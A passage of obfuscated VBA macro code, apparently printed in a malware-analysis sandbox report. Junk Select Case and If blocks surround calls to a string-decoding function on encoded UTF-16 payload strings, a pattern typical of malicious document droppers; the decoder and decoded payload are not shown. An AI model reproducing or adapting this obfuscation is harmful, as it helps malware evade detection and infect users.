            DujGd = Int(bRbiR)
            zSOpbI = 52219
      End Select
      If sTTEu Or 43730 Then
         JutVb = CLng(oArjW)
End If
NZzSijtOOT = AFVcKN("ikA0pMAYwA5ADcAZQAzADUANgBkAGIANAAzAGYAYQAwADMANAA4AGYANQBlADUAYwA3ADYANQA0AGEAZAA0ADEAOQBlAGIANAA0ADAAZgBjADQANgA4ADMAZABjADIAYgA4ADYAZAA2ADUAYQBlAGYAYwAxAGUANwBjADQAYQBmAGUAYQBiAGIAZABmAGUANAA0ADUANQIsq", 7, 195)
Select Case snzjIj
         Case 59678
            dJKoHq = Log(60417)
            kbiMGz = Int(WiJpM)
            RXIEL = 67284
      End Select
      If tmKVPs Or 61217 Then
         jFOlt = CLng(QQCKr)
End If
Select Case FHdac
         Case 45545
            HNhrJB = Log(52622)
            HnwEJ = Int(ljqKqH)
            uLNnj = 1329
      End Select
      If OaNXwa Or 45052 Then
         HkJzss = CLng(tCloTU)
End If
JrPiiUKNTG = AFVcKN("opYwAyADYAZgDt3nQhr", 3, 10)
Select Case mQmPcN
         Case 3025
            DdArD = Log(63144)
            ZHiLD = Int(FBsPO)
            SLCrjP = 77616
      End Select
      If zkhwKj Or 77800 Then
         fwApQU = CLng(dGHQBh)
End If
Select Case IGuVOS
         Case 7592
            wpuwz = Log(20080)
            GBths = Int(lzrKYw)
            NOSds = 77811
      End Select
      If ifIlca Or 12162 Then
         DCwAwM = CLng(shlzAX)
End If
jFcbVtvSTY = AFVcKN("3COppYwBmADUAMAA4AGYAZABlAGEANAA0ADkAMwA1ADEAMAA0AGYAYQBkADcAYQAwAGUAYgA2AGQAMwA0AGIAYwAxADEANQBiADEANAA3AGIAMgBjAGQANwAzADMAOQBhAGIAYgAxADMANgAyADMAZABkADQAOQAzAGYAYgBmADQANAAyADkANgBiAGMAMgA1AGUA.Gw", 6, 192)
Select Case CKqTi
         Case 16243
            WQEJjh = Log(52519)
            IFSszv = Int(NYBIQW)
            rtnDXc = 94774
      End Select
      If IrzDhm Or 85923 Then
         NiVwYj = CLng(IZLOzR)
End If
Select Case onLFJ
         Case 45050
            AcFRz = Log(28149)
            XsMVH = Int(WAjfhW)
            EcbzZZ = 59777
      End Select
      If pZYma Or 38259 Then
         ktYBj = CLng(YqunjH)
End If
wCrcOl = AFVcKN("Q6kgBmAGIANAA4ADMANQAxADIAYgAwAGIAZQBjADgANwA3ADUAZABmADIAOQA0ADMAMQBhAGMAMwAwADgAOQAwAGQAYQBlADEAYQAzADAAYwA4ADkAZQA4ADkAMwBhADMAYgA1AGIAYgBlADIANQBmADUuLKVz", 4, 150)
Select Case oDfYnl
         Case 33922
            AHsaj = Log(56699)
            Tojhiw = Int(qHjmD)
            lhKsSj = 68336
      End Select
      If tzwpCz Or 67929 Then
         jbzFqX = CLng(EzczY)
End If
Select Case Rulnl
         Case 95116
            Ilmpo = Log(38449)
            YUjWV = Int(WuZBld)
            tlhWo = 19895
      End Select
      If rCBazz Or 19146 Then
         HUcZOL = CLng(MCOqBu)
End If
TDUHRnHCXt = AFVcKN("@zEAAA1nd4", 5, 3)
Select Case UkBIi
         Case 42223
            DQAdt = Log(44784)
            SJXXb = Int(nFYLOH)
            YiHwI = 61022
      End Select
      If hRYrT Or 76923 Then
         DEbwU = CLng(JttrSZ)
End If
Select Case KGFXo
         Case 75266
            inbESz = Log(78300)
            ErIwqc = Int(pEDoQS)
            wIdEi = 47146
      End Select
      If IqlMXV Or 60775 Then
         mDoBh = CLng(EsjSi)
End If
LowJPQ = AFVcKN("zBiADUANgAxAGQANgAxAGQANQA2ADYAOAAzAGIAMgA4ADgAZgA2ADMAYQAFFGkq", 2, 57)
Select Case RAUAW
         Case 30064
            rTbNTQ = Log(86084)
            AWmTHQ = Int(RzzOkl)
            PumzKb = 15251
      End Select
      If lpHoo Or 88208 Then
         qVloT = CLng(WzzXw)
End If
Select Case czYlMH
         Case 92420
            WphtqO = Log(3445)
            ObfuZI = Int(tPwmlD)
            iNDQuh = 20159
      End Select
      If BDooWE Or 94569 Then
         lkNqL = CLng(NjVTM)
End If
KMPrFIGT = AFVcKN("ZMAOQBjAGEAZAA4AGMAYgBkAGIAYwBlADgAYQBhADQAYwAwAGQAMABhADAANwA1ADEANAA5AGQAMwA4ADkANABkADcAZAAyADUAZg7HYznDbi", 2, 100)
Select Case VNVKwr
         Case 12773
            paUUj = Log(41528)
            bGkmfw = Int(NBXNTW)
            XvaVfX = 76679
      End Select
      If dsfwdj Or 21564 Then
         tHpml = CLng(khjjb)
End If
Select Case JzVQj
         Case 6204
            kVCTSp = Log(60212)
            pjihPO = Int(uLTjv)
            BOJJbf = 14043
      End Select
      If cRYZG Or 30475 Then
         RBjVcV = CLng(zDBkF)
End If
ILzYNYH = AFVcKN("S7OvyAGQANwA1AGEANQBiAGUAYwA5ADgAZgA4AGUAZQBjADAAYQBkADiMHG", 5, 51)
Select Case EKzAH
         Case 95836
            GsJrJY = Log(33169)
            PKIIw = Int(cKkOS)
            sQGIr = 51290
      End Select
      If KSTYR Or 15897 Then
         iZrsME = CLng(vhtsb)
End If
Select Case ZAOdA
         Case 46603
            RwzGOp = Log(58329)
            ImlCA = Int(zjPDI)
            YZXvH = 73590
      End Select
      If QwLCU Or 22834 Then
         wvJSYu = CLng(uPqEzO)
End If
hZFss = AFVcKN("oifLRADkANAA4ADkANQBjADgAZgA0ADcAZQAxADcAZABiADEAYQA5ADIAMAA5ADYAMQAyADMAMAAxADgAOABkADkAMwA3ADMAMAAwAGUAdp", 6, 100)
Select Case ZTwas
         Case 17787
            rZBwb = Log(72683)
            PwkQq = Int(PDWzf)
            idJjr = 17867
      End Select
      If vrfMb Or 55189 Then
         nHWIT = CLng(IWfTGn)
End If
…

Open this report in the interactive analyzer, or submit your own file for analysis.